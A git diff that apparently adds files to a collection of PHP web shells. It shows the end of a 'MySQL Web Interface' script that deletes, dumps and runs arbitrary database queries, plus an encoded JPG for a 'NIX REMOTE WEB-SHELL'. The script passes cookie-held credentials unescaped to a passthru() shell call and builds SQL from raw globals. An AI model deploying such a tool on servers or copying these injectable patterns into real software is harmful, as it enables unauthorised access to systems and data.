$tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; + +$pResult = mysql_list_fields( $dbname, $tablename ); +$num = mysql_num_fields( $pResult ); + +$key = ""; +for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; +} +$key = substr( $key, 0, strlen($key)-4 ); + +mysql_select_db( $dbname, $mysqlHandle ); +$queryStr = "DELETE FROM $tablename WHERE $key"; +mysql_query( $queryStr, $mysqlHandle ); +$errMsg = mysql_error(); + +viewData( "" ); +} + +function dump() { +global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; + +if( $action == "dumpTable" ) + $filename = $tablename; +else + $filename = $dbname; + +header("Content-disposition: filename=$filename.sql"); +header("Content-type: application/octetstream"); +header("Pragma: no-cache"); +header("Expires: 0"); + +$pResult = mysql_query( "show variables" ); +while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + if( $rowArray[0] == "basedir" ) + $bindir = $rowArray[1]."bin/"; +} + +passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" ); +} + +function utils() { +global $PHP_SELF, $command; +echo "<h1>Utilities</h1>\n"; +if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { + echo "<hr>\n"; + echo "Show\n"; + echo "<ul>\n"; + echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n"; + echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n"; + echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n"; + echo "</ul>\n"; + echo "Flush\n"; + echo "<ul>\n"; + echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n"; + if( $command == "flush_hosts" ) { + if( mysql_query( "Flush hosts" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n"; + if( $command == "flush_logs" ) { + if( mysql_query( "Flush logs" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n"; + if( $command == "flush_privileges" ) { + if( mysql_query( "Flush privileges" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n"; + if( $command == "flush_tables" ) { + if( mysql_query( "Flush tables" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n"; + if( $command == "flush_status" ) { + if( mysql_query( "Flush status" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "</ul>\n"; +} else { + $queryStr = ereg_replace( "_", " ", $command ); + $pResult = mysql_query( $queryStr ); + if( $pResult == false ) { + echo "Fail"; + return; + } + $col = mysql_num_fields( $pResult ); + + echo "<p class=location>$queryStr</p>\n"; + echo "<hr>\n"; + + echo "<table cellspacing=1 cellpadding=2 border=0>\n"; + echo "<tr>\n"; + for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>".$field->name."</th>\n"; + } + echo "</tr>\n"; + + while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + for( $j = 0; $j < $col; $j++ ) + echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; +} +} + +function header_html() { +global $PHP_SELF; + +?> +<html> +<head> +<title>MySQL Web Interface</title> +<style type="text/css"> +<!-- +p.location { +color: #FF6000; +font-size: small; +} +h1 { +color: #0090FF; +} +th { +background-color: #34A725; +color: #FFFFFF; +font-size: x-small; +} +td { +background-color: #5DB1FF; +font-size: x-small; +} +form { +margin-top: 0; +margin-bottom: 0; +} +a { +text-decoration:none; +color: #848200; +font-size:x-small; +} +a:link { +} +a:hover { +background-color:#EEEFD5; +color:#FF0000; +text-decoration:none +} +//--> +</style> +</head> +<body> +<? +} + +function footer_html() { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME; + +echo "<hr>\n"; +echo "<font size=2>\n"; +echo "<font color=blue>[$USERNAME]</font> - \n"; + +echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n"; +if( $tablename != "" ) + echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | "; +echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n"; +echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n"; +echo "</font>\n"; +echo "</body>\n"; +echo "</html>\n"; +} + +//------------------------------------------------------ MAIN + +if( $action == "logon" || $action == "" || $action == "logout" ) +logon(); +else if( $action == "logon_submit" ) +logon_submit(); +else if( $action == "dumpTable" || $action == "dumpDB" ) { +while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; +} +$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); +dump(); +} else { +while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; +} +echo "<!--"; +$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); +echo "-->"; + +if( $mysqlHandle == false ) { + echo "<html>\n"; + echo "<head>\n"; + echo "<title>MySQL Web Interface</title>\n"; + echo "</head>\n"; + echo "<body>\n"; + echo "<table width=100% height=100%><tr><td><center>\n"; + echo "<h1>Wrong Password!</h1>\n"; + echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n"; + echo "</center></td></tr></table>\n"; + echo "</body>\n"; + echo "</html>\n"; +} else { + header_html(); + if( $action == "listDBs" ) + listDatabases(); + else if( $action == "createDB" ) + createDatabase(); + else if( $action == "dropDB" ) + dropDatabase(); + else if( $action == "listTables" ) + listTables(); + else if( $action == "createTable" ) + createTable(); + else if( $action == "dropTable" ) + dropTable(); + else if( $action == "viewSchema" ) + viewSchema(); + else if( $action == "query" ) + viewData( $queryStr ); + else if( $action == "addField" ) + manageField( "add" ); + else if( $action == "addField_submit" ) + manageField_submit( "add" ); + else if( $action == "editField" ) + manageField( "edit" ); + else if( $action == "editField_submit" ) + manageField_submit( "edit" ); + else if( $action == "dropField" ) + dropField(); + else if( $action == "viewData" ) + viewData( "" ); + else if( $action == "addData" ) + manageData( "add" ); + else if( $action == "addData_submit" ) + manageData_submit( "add" ); + else if( $action == "editData" ) + manageData( "edit" ); + else if( $action == "editData_submit" ) + manageData_submit( "edit" ); + else if( $action == "deleteData" ) + deleteData(); + else if( $action == "utils" ) + utils(); + + mysql_close( $mysqlHandle); + footer_html(); +} +} + +?> \ No newline at end of file diff --git a/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL.jpg b/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e460ae1d129885516c9aac9d857387166324b01c GIT binary patch literal 33787 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 